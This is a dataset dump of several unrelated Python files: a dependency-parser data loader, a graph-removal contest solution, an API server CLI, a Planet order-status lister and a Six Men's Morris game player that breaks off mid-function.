dtype=np.int64)\n\n for i, inst in enumerate(data[bucket_id]):\n wids, cid_seqs, pids, hids, tids = inst\n inst_size = len(wids)\n # word ids\n wid_inputs[i, :inst_size] = wids\n wid_inputs[i, inst_size:] = PAD_ID_WORD\n for c, cids in enumerate(cid_seqs):\n cid_inputs[i, c, :len(cids)] = cids\n cid_inputs[i, c, len(cids):] = PAD_ID_CHAR\n cid_inputs[i, inst_size:, :] = PAD_ID_CHAR\n # pos ids\n pid_inputs[i, :inst_size] = pids\n pid_inputs[i, inst_size:] = PAD_ID_TAG\n # type ids\n tid_inputs[i, :inst_size] = tids\n tid_inputs[i, inst_size:] = PAD_ID_TAG\n # heads\n hid_inputs[i, :inst_size] = hids\n hid_inputs[i, inst_size:] = PAD_ID_TAG\n # masks\n masks[i, :inst_size] = 1.0\n if unk_replace:\n for j, wid in enumerate(wids):\n if word_alphabet.is_singleton(wid):\n single[i, j] = 1\n\n if unk_replace:\n noise = np.random.binomial(1, unk_replace, size=[bucket_size, bucket_length])\n wid_inputs = wid_inputs * (1 - noise * single)\n\n indices = None\n if shuffle:\n indices = np.arange(bucket_size)\n np.random.shuffle(indices)\n for start_idx in range(0, bucket_size, batch_size):\n if shuffle:\n excerpt = indices[start_idx:start_idx + batch_size]\n else:\n excerpt = slice(start_idx, start_idx + batch_size)\n yield wid_inputs[excerpt], cid_inputs[excerpt], pid_inputs[excerpt], hid_inputs[excerpt], \\\n tid_inputs[excerpt], masks[excerpt]\n\n\ndef read_data_to_variable(source_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet, max_size=None,\n normalize_digits=True, symbolic_root=False, symbolic_end=False,\n use_gpu=False, volatile=False):\n data, max_char_length = read_data(source_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet,\n max_size=max_size, normalize_digits=normalize_digits,\n symbolic_root=symbolic_root, symbolic_end=symbolic_end)\n bucket_sizes = [len(data[b]) for b in range(len(_buckets))]\n\n data_variable = []\n\n for bucket_id in range(len(_buckets)):\n bucket_size = bucket_sizes[bucket_id]\n if bucket_size == 0:\n data_variable.append((1, 1))\n continue\n\n bucket_length = _buckets[bucket_id]\n char_length = min(MAX_CHAR_LENGTH, max_char_length[bucket_id] + NUM_CHAR_PAD)\n wid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n cid_inputs = np.empty([bucket_size, bucket_length, char_length], dtype=np.int64)\n pid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n hid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n tid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n\n masks = np.zeros([bucket_size, bucket_length], dtype=np.float32)\n single = np.zeros([bucket_size, bucket_length], dtype=np.int64)\n\n lengths = np.empty(bucket_size, dtype=np.int64)\n\n for i, inst in enumerate(data[bucket_id]):\n wids, cid_seqs, pids, hids, tids = inst\n inst_size = len(wids)\n lengths[i] = inst_size\n # word ids\n wid_inputs[i, :inst_size] = wids\n wid_inputs[i, inst_size:] = PAD_ID_WORD\n for c, cids in enumerate(cid_seqs):\n cid_inputs[i, c, :len(cids)] = cids\n cid_inputs[i, c, len(cids):] = PAD_ID_CHAR\n cid_inputs[i, inst_size:, :] = PAD_ID_CHAR\n # pos ids\n pid_inputs[i, :inst_size] = pids\n pid_inputs[i, inst_size:] = PAD_ID_TAG\n # type ids\n tid_inputs[i, :inst_size] = tids\n tid_inputs[i, inst_size:] = PAD_ID_TAG\n # heads\n hid_inputs[i, :inst_size] = hids\n hid_inputs[i, inst_size:] = PAD_ID_TAG\n # masks\n masks[i, :inst_size] = 1.0\n for j, wid in enumerate(wids):\n if word_alphabet.is_singleton(wid):\n single[i, j] = 1\n\n words = torch.Tensor(wid_inputs)\n chars = torch.Tensor(cid_inputs)\n pos = torch.Tensor(pid_inputs)\n heads = torch.Tensor(hid_inputs)\n types = torch.Tensor(tid_inputs)\n masks = torch.Tensor(masks)\n single = torch.Tensor(single)\n lengths = torch.Tensor(lengths)\n if use_gpu:\n words = words.cuda()\n chars = chars.cuda()\n pos = pos.cuda()\n heads = heads.cuda()\n types = types.cuda()\n masks = masks.cuda()\n single = single.cuda()\n lengths = lengths.cuda()\n\n data_variable.append((words, chars, pos, heads, types, masks, single, lengths))\n\n return data_variable, bucket_sizes\n\n\ndef get_batch_variable(data, batch_size, unk_replace=0.):\n data_variable, bucket_sizes = data\n total_size = float(sum(bucket_sizes))\n # A bucket scale is a list of increasing numbers from 0 to 1 that we'll use\n # to select a bucket. Length of [scale[i], scale[i+1]] is proportional to\n # the size if i-th training bucket, as used later.\n buckets_scale = [sum(bucket_sizes[:i + 1]) / total_size for i in range(len(bucket_sizes))]\n\n # Choose a bucket according to data distribution. We pick a random number\n # in [0, 1] and use the corresponding interval in train_buckets_scale.\n random_number = np.random.random_sample()\n bucket_id = min([i for i in range(len(buckets_scale)) if buckets_scale[i] > random_number])\n bucket_length = _buckets[bucket_id]\n\n words, chars, pos, heads, types, masks, single, lengths = data_variable[bucket_id]\n bucket_size = bucket_sizes[bucket_id]\n batch_size = min(bucket_size, batch_size)\n index = torch.randperm(bucket_size).long()[:batch_size]\n if words.is_cuda:\n index = index.cuda()\n\n words = words[index]\n if unk_replace:\n ones = torch.Tensor(single.data.new(batch_size, bucket_length).fill_(1))\n noise = torch.Tensor(masks.data.new(batch_size, bucket_length).bernoulli_(unk_replace).long())\n words = words * (ones - single[index] * noise)\n\n return words, chars[index], pos[index], heads[index], types[index], masks[index], lengths[index]\n\n\ndef iterate_batch_variable(data, batch_size, unk_replace=0., shuffle=False):\n data_variable, bucket_sizes = data\n\n bucket_indices = np.arange(len(_buckets))\n if shuffle:\n np.random.shuffle((bucket_indices))\n\n for bucket_id in bucket_indices:\n bucket_size = bucket_sizes[bucket_id]\n bucket_length = _buckets[bucket_id]\n if bucket_size == 0:\n continue\n\n words, chars, pos, heads, types, masks, single, lengths = data_variable[bucket_id]\n if unk_replace:\n ones = torch.Tensor(single.data.new(bucket_size, bucket_length).fill_(1))\n noise = torch.Tensor(masks.data.new(bucket_size, bucket_length).bernoulli_(unk_replace).long())\n words = words * (ones - single * noise)\n\n indices = None\n if shuffle:\n indices = torch.randperm(bucket_size).long()\n if words.is_cuda:\n indices = indices.cuda()\n for start_idx in range(0, bucket_size, batch_size):\n if shuffle:\n excerpt = indices[start_idx:start_idx + batch_size]\n else:\n excerpt = slice(start_idx, start_idx + batch_size)\n yield words[excerpt], chars[excerpt], pos[excerpt], heads[excerpt], types[excerpt], \\\n masks[excerpt], lengths[excerpt]\n\n\ndef read_data_to_tensor(source_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet, max_size=None,\n normalize_digits=True, symbolic_root=False, symbolic_end=False, device=torch.device('cpu'), remove_invalid_data=False):\n data, max_char_length = read_data(source_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet,\n max_size=max_size, normalize_digits=normalize_digits,\n symbolic_root=symbolic_root, symbolic_end=symbolic_end, remove_invalid_data=remove_invalid_data)\n bucket_sizes = [len(data[b]) for b in range(len(_buckets))]\n\n data_tensor = []\n\n for bucket_id in range(len(_buckets)):\n bucket_size = bucket_sizes[bucket_id]\n if bucket_size == 0:\n data_tensor.append((1, 1))\n continue\n\n bucket_length = _buckets[bucket_id]\n char_length = min(MAX_CHAR_LENGTH, max_char_length[bucket_id] + NUM_CHAR_PAD)\n wid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n cid_inputs = np.empty([bucket_size, bucket_length, char_length], dtype=np.int64)\n pid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n hid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n tid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n\n masks = np.zeros([bucket_size, bucket_length], dtype=np.float32)\n single = np.zeros([bucket_size, bucket_length], dtype=np.int64)\n\n lengths = np.empty(bucket_size, dtype=np.int64)\n\n for i, inst in enumerate(data[bucket_id]):\n wids, cid_seqs, pids, hids, tids = inst\n inst_size = len(wids)\n lengths[i] = inst_size\n # word ids\n wid_inputs[i, :inst_size] = wids\n wid_inputs[i, inst_size:] = PAD_ID_WORD\n for c, cids in enumerate(cid_seqs):\n cid_inputs[i, c, :len(cids)] = cids\n cid_inputs[i, c, len(cids):] = PAD_ID_CHAR\n cid_inputs[i, inst_size:, :] = PAD_ID_CHAR\n # pos ids\n pid_inputs[i, :inst_size] = pids\n pid_inputs[i, inst_size:] = PAD_ID_TAG\n # type ids\n tid_inputs[i, :inst_size] = tids\n tid_inputs[i, inst_size:] = PAD_ID_TAG\n # heads\n hid_inputs[i, :inst_size] = hids\n hid_inputs[i, inst_size:] = PAD_ID_TAG\n # masks\n masks[i, :inst_size] = 1.0\n for j, wid in enumerate(wids):\n if word_alphabet.is_singleton(wid):\n single[i, j] = 1\n\n words = torch.from_numpy(wid_inputs).to(device)\n chars = torch.from_numpy(cid_inputs).to(device)\n pos = torch.from_numpy(pid_inputs).to(device)\n heads = torch.from_numpy(hid_inputs).to(device)\n types = torch.from_numpy(tid_inputs).to(device)\n masks = torch.from_numpy(masks).to(device)\n single = torch.from_numpy(single).to(device)\n lengths = torch.from_numpy(lengths).to(device)\n\n data_tensor.append((words, chars, pos, heads, types, masks, single, lengths))\n\n return data_tensor, bucket_sizes\n\ndef split_data(data, rate=0.5):\n data_tensor, bucket_sizes = data\n # data_tensor: [bucket_id][item_id][result]\n data_tensor_a = []\n data_tensor_b = []\n bucket_sizes_a = []\n bucket_sizes_b = []\n num_data_a = 0\n num_data_b = 0\n for bucket_id, bucket_size in enumerate(bucket_sizes):\n size_a = int(bucket_size * rate)\n if size_a == 0:\n size_a = 1 # at least 1\n size_b = bucket_size - size_a\n num_data_a += size_a\n num_data_b += size_b\n a_idx = [1 for _ in range(size_a)] + [0 for _ in range(size_b)]\n random.shuffle(a_idx)\n a_idx = torch.tensor(a_idx).byte().to(data_tensor[0][0].device)\n b_idx = ~a_idx\n item_a = []\n item_b = []\n for item in data_tensor[bucket_id]:\n item_a.append(item[a_idx])\n item_b.append(item[b_idx])\n data_tensor_a.append(item_a)\n data_tensor_b.append(item_b)\n bucket_sizes_a.append(size_a)\n bucket_sizes_b.append(size_b)\n\n return num_data_a, (data_tensor_a, bucket_sizes_a), num_data_b, (data_tensor_b, bucket_sizes_b)\n\ndef get_batch_tensor(data, batch_size, unk_replace=0.):\n data_tensor, bucket_sizes = data\n total_size = float(sum(bucket_sizes))\n # A bucket scale is a list of increasing numbers from 0 to 1 that we'll use\n # to select a bucket. Length of [scale[i], scale[i+1]] is proportional to\n # the size if i-th training bucket, as used later.\n buckets_scale = [sum(bucket_sizes[:i + 1]) / total_size for i in range(len(bucket_sizes))]\n\n # Choose a bucket according to data distribution. We pick a random number\n # in [0, 1] and use the corresponding interval in train_buckets_scale.\n random_number = np.random.random_sample()\n bucket_id = min([i for i in range(len(buckets_scale)) if buckets_scale[i] > random_number])\n bucket_length = _buckets[bucket_id]\n\n words, chars, pos, heads, types, masks, single, lengths = data_tensor[bucket_id]\n bucket_size = bucket_sizes[bucket_id]\n batch_size = min(bucket_size, batch_size)\n index = torch.randperm(bucket_size).long()[:batch_size]\n index = index.to(words.device)\n\n words = words[index]\n if unk_replace:\n ones = single.new_ones(batch_size, bucket_length)\n noise = masks.new_empty(batch_size, bucket_length).bernoulli_(unk_replace).long()\n words = words * (ones - single[index] * noise)\n\n return words, chars[index], pos[index], heads[index], types[index], masks[index], lengths[index]\n\n\ndef iterate_batch_tensor(data, batch_size, unk_replace=0., shuffle=False):\n data_tensor, bucket_sizes = data\n\n bucket_indices = np.arange(len(_buckets))\n if shuffle:\n np.random.shuffle((bucket_indices))\n\n for bucket_id in bucket_indices:\n bucket_size = bucket_sizes[bucket_id]\n bucket_length = _buckets[bucket_id]\n if bucket_size == 0:\n continue\n\n words, chars, pos, heads, types, masks, single, lengths = data_tensor[bucket_id]\n if unk_replace:\n ones = single.new_ones(bucket_size, bucket_length)\n noise = masks.new_empty(bucket_size, bucket_length).bernoulli_(unk_replace).long()\n words = words * (ones - single * noise)\n\n indices = None\n if shuffle:\n indices = torch.randperm(bucket_size).long()\n indices = indices.to(words.device)\n for start_idx in range(0, bucket_size, batch_size):\n if shuffle:\n excerpt = indices[start_idx:start_idx + batch_size]\n else:\n excerpt = slice(start_idx, start_idx + batch_size)\n yield words[excerpt], chars[excerpt], pos[excerpt], heads[excerpt], types[excerpt], \\\n masks[excerpt], lengths[excerpt]\n","sub_path":"model/parser/iomodule/maxio.py","file_name":"maxio.py","file_ext":"py","file_size_in_byte":36946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"546440644","text":"def mais_arestas(lista):\n pos_maior = 0 \n maior = 0\n #print(lista)\n for i in range(len(lista)):\n #print(\"len(lista) = \" + str(len(lista[i])))\n #print(\"maior = \" + str(maior))\n if int(len(lista[i])) > maior:\n pos_maior = i\n maior = len(lista[i])\n\n\n return pos_maior\n\ndef retira(lista, maior):\n for l in lista:\n for i in l:\n #print(\"i: \" + str(i))\n #print(\"maior: \" + str(maior))\n if i == maior:\n #print(\"entrou\")\n l.remove(i)\n \n lista[maior] = []\n # print(lista)\n #print(lista[maior])\n return lista\n\ndef vazia(lista):\n for i in lista:\n if i != []:\n return False\n return True\n\n\nt = int(input())\ncaso = 1\nwhile t > 0:\n t -= 1\n\n inp = [int(x) for x in input().split()]\n n = inp[0]\n a = inp[1:len(inp)]\n\n inp = [int(x) for x in input().split()]\n m = inp[0]\n b = inp[1:len(inp)]\n \n #print(a)\n #print(b)\n grafo = [[] for x in range(n + m)]\n\n\n for i in range(n):\n for j in range(m):\n\n if (b[j] != 0) and (a[i] == 0):\n continue\n\n if b[j] == 0:\n grafo[i].append(j + n)\n grafo[n + j].append(i)\n\n elif b[j] % a[i] == 0:\n grafo[i].append(j + n)\n grafo[n + j].append(i)\n #print(grafo)\n\n #print(grafo)\n remocoes = 0\n while not vazia(grafo):\n #print(len(grafo))\n \n maior = mais_arestas(grafo)\n grafo = retira(grafo, maior)\n # if maior >= n:\n # print(\"===========REMOVEU o \" + str(b[maior - n]) + \" ==========\")\n # else:\n # print(\"===========REMOVEU o \" + str(a[maior]) + \" ==========\")\n # print(grafo)\n # print()\n remocoes += 1\n\n # if remocoes >= n or remocoes >= m:\n \n # remocoes = min(n, m)\n \n print(\"Caso #\" + str(caso) + \": \" + str(remocoes))\n caso += 1","sub_path":"topcom/topcom15/topcom15e.py","file_name":"topcom15e.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"218761648","text":"import click\nimport sys\n\nfrom . import run_api_server\nfrom ..utils.cli import main, log\n\n\n@main.command('run-server')\n@click.option('--host', '-h')\n@click.option('--port', '-p', type=int)\n@click.option('--database', '-d')\ndef cli_upload_sample(host, port, database):\n run_api_server(host=host, port=port, database_url=database)\n\n\nif __name__ == '__main__':\n try:\n main(prog_name='bci.api')\n except Exception as error:\n log(f'ERROR: {error}')\n sys.exit(1)\n","sub_path":"bci/api/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"46151230","text":"__copyright__ = \"\"\"\n\n Copyright 2019 Samapriya Roy\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n\"\"\"\n__license__ = \"Apache 2.0\"\n\n#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport requests\nimport time\nimport sys\nfrom datetime import datetime\nfrom datetimerange import DateTimeRange\nfrom planet.api.auth import find_api_key\nfrom prettytable import PrettyTable\n\nx = PrettyTable()\n\ntry:\n PL_API_KEY = find_api_key()\nexcept Exception as e:\n print(\"Failed to get Planet Key\")\n sys.exit()\nSESSION = requests.Session()\nSESSION.auth = (PL_API_KEY, \"\")\n\n\ndef handle_page(page, start, end):\n for things in page[\"orders\"]:\n s = datetime.strptime(things[\"created_on\"].split(\"T\")[0], \"%Y-%m-%d\")\n if s in DateTimeRange(start, end):\n try:\n x.field_names = [\"name\", \"items\", \"url\", \"created_on\"]\n x.add_row(\n [\n things[\"name\"],\n len(things[\"products\"][0][\"item_ids\"]),\n things[\"_links\"][\"_self\"],\n things[\"created_on\"].split(\"T\")[0],\n ]\n )\n except Exception as e:\n print(e)\n\n\ndef ostat(state, start, end, limit):\n start = datetime.strptime(start, \"%Y-%m-%d\")\n end = datetime.strptime(end, \"%Y-%m-%d\")\n mpage = \"https://api.planet.com/compute/ops/orders/v2?state=\" + str(state)\n result = SESSION.get(mpage)\n if result.status_code == 200:\n page = result.json()\n final_list = handle_page(page, start, end)\n while page[\"_links\"].get(\"next\") is not None:\n page_url = page[\"_links\"].get(\"next\")\n result = SESSION.get(page_url)\n if result.status_code == 200:\n page = result.json()\n ids = handle_page(page, start, end)\n elif result.status_code == 429:\n time.sleep(1)\n result = SESSION.get(page_url)\n page = result.json()\n ids = handle_page(page, start, end)\n else:\n print(result.status_code)\n if limit is not None:\n print(x.get_string(start=0, end=int(limit)))\n else:\n print(x)\n\n\n# idl(state=\"success\", start=\"2019-08-02\", end=\"2019-08-02\")\n","sub_path":"porder/ordstat.py","file_name":"ordstat.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"477567717","text":"# CMPUT 497 Project\r\n# Six Men's Morris Player\r\n# By Ryan De Forest\r\n# Winter 2019\r\n\r\nimport random\r\nimport os\r\n\r\nINF = 9999\r\nNEGINF = -9999\r\nDEPTH_LIMIT = 6\r\n\r\n\r\n#clear console screen\r\ndef cls():\r\n os.system('cls' if os.name=='nt' else 'clear')\r\n\r\n#convert coordinate system to index of gameboard array\r\ndef movetoindex(idx):\r\n\tif idx == 'a1':\r\n\t\treturn 0\r\n\telif idx == 'c1':\r\n\t\treturn 1\r\n\telif idx == 'e1':\r\n\t\treturn 2\r\n\telif idx == 'b2':\r\n\t\treturn 3\r\n\telif idx == 'c2':\r\n\t\treturn 4\r\n\telif idx == 'd2':\r\n\t\treturn 5\r\n\telif idx == 'a3':\r\n\t\treturn 6\r\n\telif idx == 'b3':\r\n\t\treturn 7\r\n\telif idx == 'd3':\r\n\t\treturn 8\r\n\telif idx == 'e3':\r\n\t\treturn 9\r\n\telif idx == 'b4':\r\n\t\treturn 10\r\n\telif idx == 'c4':\r\n\t\treturn 11\r\n\telif idx == 'd4':\r\n\t\treturn 12\r\n\telif idx == 'a5':\r\n\t\treturn 13\r\n\telif idx == 'c5':\r\n\t\treturn 14\r\n\telif idx == 'e5':\r\n\t\treturn 15\r\n\treturn None\r\n\r\n#convert index of gameboard array to coordinate system\r\ndef indextomove(m):\r\n\tif m == 0:\r\n\t\treturn 'a1'\r\n\telif m == 1:\r\n\t\treturn 'c1'\r\n\telif m == 2:\r\n\t\treturn 'e1'\r\n\telif m == 3:\r\n\t\treturn 'b2'\r\n\telif m == 4:\r\n\t\treturn 'c2'\r\n\telif m == 5:\r\n\t\treturn 'd2'\r\n\telif m == 6:\r\n\t\treturn 'a3'\r\n\telif m == 7:\r\n\t\treturn 'b3'\r\n\telif m == 8:\r\n\t\treturn 'd3'\r\n\telif m == 9:\r\n\t\treturn 'e3'\r\n\telif m == 10:\r\n\t\treturn 'b4'\r\n\telif m == 11:\r\n\t\treturn 'c4'\r\n\telif m == 12:\r\n\t\treturn 'd4'\r\n\telif m == 13:\r\n\t\treturn 'a5'\r\n\telif m == 14:\r\n\t\treturn 'c5'\r\n\telif m == 15:\r\n\t\treturn 'e5'\r\n\treturn None\r\n\r\n#swaps between 1 and 2 to represent current player\r\ndef changeturn(c) :\r\n\treturn c % 2 + 1\r\n\r\n#checks if current move has created a string of 3 pieces\r\ndef stringcheck(g, m, p):\r\n\tstrings = []\r\n\t\r\n\tif m == 0:\r\n\t\tstrings = [[0,1,2],[0,6,13]]\r\n\telif m == 1:\r\n\t\tstrings = [[0,1,2]]\r\n\telif m == 2:\r\n\t\tstrings = [[0,1,2],[2,9,15]]\r\n\telif m == 3:\r\n\t\tstrings = [[3,4,5],[3,7,10]]\r\n\telif m == 4:\r\n\t\tstrings = [[3,4,5]]\r\n\telif m == 5:\r\n\t\tstrings = [[3,4,5],[5,8,12]]\r\n\telif m == 6:\r\n\t\tstrings = [[0,6,13]]\r\n\telif m == 7:\r\n\t\tstrings = [[3,7,10]]\r\n\telif m == 8:\r\n\t\tstrings = [[5,8,12]]\r\n\telif m == 9:\r\n\t\tstrings = [[2,9,15]]\r\n\telif m == 10:\r\n\t\tstrings = [[3,7,10],[10,11,12]]\r\n\telif m == 11:\r\n\t\tstrings = [[10,11,12]]\r\n\telif m == 12:\r\n\t\tstrings = [[5,8,12],[10,11,12]]\r\n\telif m == 13:\r\n\t\tstrings = [[0,6,13],[13,14,15]]\r\n\telif m == 14:\r\n\t\tstrings = [[13,14,15]]\r\n\telif m == 15:\r\n\t\tstrings = [[2,9,15],[13,14,15]]\r\n\t\t\r\n\tfor t in strings:\r\n\t\tif g[t[0]] == p and g[t[1]] == p and g[t[2]] == p:\r\n\t\t\treturn True\r\n\t\t\t\r\n\treturn False\r\n\t\r\n#returns the valid places a piece can move to\r\ndef getvalidmoves(g, m):\r\n\tstrings = []\r\n\t\r\n\tif m == 0:\r\n\t\tstrings = [1,6]\r\n\telif m == 1:\r\n\t\tstrings = [0,2,4]\r\n\telif m == 2:\r\n\t\tstrings = [1,9]\r\n\telif m == 3:\r\n\t\tstrings = [4,7]\r\n\telif m == 4:\r\n\t\tstrings = [1,3,5]\r\n\telif m == 5:\r\n\t\tstrings = [4,8]\r\n\telif m == 6:\r\n\t\tstrings = [0,7,13]\r\n\telif m == 7:\r\n\t\tstrings = [3,6,10]\r\n\telif m == 8:\r\n\t\tstrings = [5,9,12]\r\n\telif m == 9:\r\n\t\tstrings = [2,8,15]\r\n\telif m == 10:\r\n\t\tstrings = [7,11]\r\n\telif m == 11:\r\n\t\tstrings = [10,12,14]\r\n\telif m == 12:\r\n\t\tstrings = [8,11]\r\n\telif m == 13:\r\n\t\tstrings = [6,14]\r\n\telif m == 14:\r\n\t\tstrings = [11,13,15]\r\n\telif m == 15:\r\n\t\tstrings = [9,14]\r\n\t\t\r\n\tvalid = []\r\n\t\r\n\tfor t in strings:\r\n\t\tif g[t] == 0:\r\n\t\t\tvalid.append(t)\r\n\t\t\t\r\n\treturn valid\r\n\r\n#checks if either player has 2 or less pieces and thus loses\r\ndef checkpieces(g):\r\n\tp1,p2 = 0,0\r\n\t\r\n\tfor v in g:\r\n\t\tif v == 1:\r\n\t\t\tp1 += 1\r\n\t\tif v == 2:\r\n\t\t\tp2 += 1\r\n\t\t\t\r\n\tif p1 <= 2:\r\n\t\treturn 1\r\n\telif p2 <= 2:\r\n\t\treturn 2\r\n\t\t\r\n\treturn 0\r\n\t\r\n#checks if either player has no valid moves and thus loses\r\ndef checkmoves(g):\r\n\tp1,p2 = False,False\r\n\t\r\n\tfor v in range(16):\r\n\t\tif g[v] != 0:\r\n\t\t\tmove_list = getvalidmoves(g,v)\r\n\t\t\tif move_list:\r\n\t\t\t\tif g[v] == 1:\r\n\t\t\t\t\tp1 = True\r\n\t\t\t\telif g[v] == 2:\r\n\t\t\t\t\tp2 = True\r\n\t\t\tif p1 and p2:\r\n\t\t\t\treturn 0\r\n\tif not p1:\r\n\t\treturn 1\r\n\telif not p2:\r\n\t\treturn 2\r\n\t\t\r\n\treturn None\r\n\t\r\n#checks if removing the selected piece is valid\r\ndef checkvalidremoval(g,m,p):\r\n\tp = changeturn(p)\r\n\tr = getpieces(g,p)\t\t\r\n\tflag = True\r\n\t\r\n\tfor v in r:\r\n\t\tif not stringcheck(g,v,p):\r\n\t\t\tflag = False\r\n\t\t\tbreak\r\n\t\t\t\r\n\tif flag:\r\n\t\treturn True\r\n\t\t\r\n\tif stringcheck(g,m,p):\r\n\t\treturn False\r\n\t\r\n\treturn True\r\n\t\r\n#gets all indexes of the pieces for the given player\r\ndef getpieces(g,p):\r\n\tr = []\r\n\t\r\n\tfor v in range(16):\r\n\t\tif g[v] == p:\r\n\t\t\tr.append(v)\r\n\treturn r\r\n\r\n#display functions for program\r\ndef printphase(m):\r\n\tif (m < 12):\r\n\t\tprint('Setup Phase: Place pieces\\n')\r\n\telse:\r\n\t\tprint('Regular Phase: Move pieces\\n')\r\n\t\t\t\r\ndef printheader():\r\n\tprint('Six Men\\'s Morris Player')\r\n\tprint('CMPUT 497 Project')\r\n\tprint('by Ryan De Forest\\n')\r\n\t\r\ndef displaygame(g):\r\n\tprint(' A B C D E')\r\n\tprint('1 {}-----------{}-----------{}'.format(itos(g[0]),itos(g[1]),itos(g[2])))\r\n\tprint(' | | |')\r\n\tprint(' | | |')\r\n\tprint('2 | {}-----{}-----{} |'.format(itos(g[3]),itos(g[4]),itos(g[5])))\r\n\tprint(' | | | |')\r\n\tprint(' | | | |')\r\n\tprint('3 {}-----{} {}-----{}'.format(itos(g[6]),itos(g[7]),itos(g[8]),itos(g[9])))\r\n\tprint(' | | | |')\r\n\tprint(' | | | |')\r\n\tprint('4 | {}-----{}-----{} |'.format(itos(g[10]),itos(g[11]),itos(g[12])))\r\n\tprint(' | | |')\r\n\tprint(' | | |')\r\n\tprint('5 {}-----------{}-----------{}\\n'.format(itos(g[13]),itos(g[14]),itos(g[15])))\r\n\t\r\n#\tprint(' A B C D E')\r\n#\tprint('1 _-----------_-----------_')\r\n#\tprint(' | | |')\r\n#\tprint(' | | |')\r\n#\tprint('2 | _-----_-----_ |')\r\n#\tprint(' | | | |')\r\n#\tprint(' | | | |')\r\n#\tprint('3 _-----_ _-----_')\r\n#\tprint(' | | | |')\r\n#\tprint(' | | | |')\r\n#\tprint('4 | _-----_-----_ |')\r\n#\tprint(' | | |')\r\n#\tprint(' | | |')\r\n#\tprint('5 _-----------_-----------_\\n')\r\n\r\n#converts index value to character for displaying the gameboard\r\ndef itos(i):\r\n\tif i == 0:\r\n\t\treturn '_'\r\n\tif i == 1:\r\n\t\treturn 'X'\r\n\tif i == 2:\r\n\t\treturn 'O'\r\n\treturn None\r\n\t\r\n#refresh screen with updated game information\r\ndef refresh(g):\r\n\tcls()\r\n\tprintheader()\r\n\tdisplaygame(g)\r\n\t\r\n#hueristic calculates players strings(Morrises) against the opponents\t\r\ndef countStrings(g, p):\r\n\tstrings = [[0,1,2],[0,6,13],[2,9,15],[3,4,5],[3,7,10],[5,8,12],[10,11,12],[13,14,15]]\r\n\tscore = 0\r\n\topponent = changeturn(p)\r\n\t\r\n\tfor v in strings:\r\n\t\tif v[0] == v[1] and v[1] == v[2] and v[0] == p:\r\n\t\t\tscore += 1\r\n\t\telif v[0] == v[1] and v[1] == v[2] and v[0] == opponent:\r\n\t\t\tscore -= 1\r\n\treturn score\r\n\r\n#heuristic calculates blocked opponent pieces against players\t\r\ndef countBlocked(g, p):\r\n\tscore = 0\r\n\topponent = changeturn(p)\r\n\tfor v in range(16):\r\n\t\tif g[v] != 0:\r\n\t\t\tif not getvalidmoves(g,v):\r\n\t\t\t\tif g[v] == opponent:\r\n\t\t\t\t\tscore += 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tscore -= 1\r\n\treturn score\r\n\t\r\n#heuristic calculates player's pieces against opponenet's\r\ndef countPieces(g, p):\r\n\topponent = changeturn(p)\r\n\tscore = 0\r\n\t\r\n\tfor v in range(16):\r\n\t\tif g[v] == p:\r\n\t\t\tscore += 1\r\n\t\telif g[v] == opponent:\r\n\t\t\tscore -= 1\r\n\treturn score\r\n\t\r\n#heuristic calculates number of 2 strings that can be completed against opponent's set\r\ndef count2(g, p):\r\n\topponent = changeturn(p)\r\n\tstrings = [[0,1,2],[0,6,13],[2,9,15],[3,4,5],[3,7,10],[5,8,12],[10,11,12],[13,14,15]]\r\n\tscore = 0\r\n\t\r\n\tfor v in strings:\r\n\t\tif v[0] == v[1] and v[2] == 0:\r\n\t\t\tif v[0] == p:\r\n\t\t\t\tscore += 1\r\n\t\t\telif v[0] == opponent:\r\n\t\t\t\tscore -= 1\r\n\t\telif v[0] == v[2] and v[1] == 0:\r\n\t\t\tif v[0] == p:\r\n\t\t\t\tscore += 1\r\n\t\t\telif v[0] == opponent:\r\n\t\t\t\tscore -= 1\r\n\t\telif v[1] == v[2] and v[0] == 0:\r\n\t\t\tif v[1] == p:\r\n\t\t\t\tscore += 1\r\n\t\t\telif v[1] == opponent:\r\n\t\t\t\tscore -= 1\r\n\t\t\t\t\r\n\treturn score\r\n\r\n#heuristic determines if position is in a win/loss state\r\ndef checkWin(g, p):\t\r\n\tresult = checkpieces(g)\r\n\topponent = changeturn(p)\r\n\t\t\t\r\n\tif result == opponent:\r\n\t\treturn 1\r\n\telif result == p:\r\n\t\treturn -1\r\n\t\t\r\n\tresult = checkmoves(g)\r\n\t\r\n\tif result == opponent:\r\n\t\treturn 1\r\n\telif result == p:\r\n\t\treturn -1\r\n\t\r\n\treturn 0\r\n\r\n#calculates linear heuristic for a given board position\t\r\ndef getHeuristic(g, p, moves):\r\n\t#1 number of morrises, difference\r\n\th1 = countStrings(g, p)\r\n\t#2 number of trapped opponent pieces\r\n\th2 = countBlocked(g, p)\r\n\t#3 number of pieces, difference\r\n\th3 = countPieces(g, p)\r\n\t\r\n\tif moves 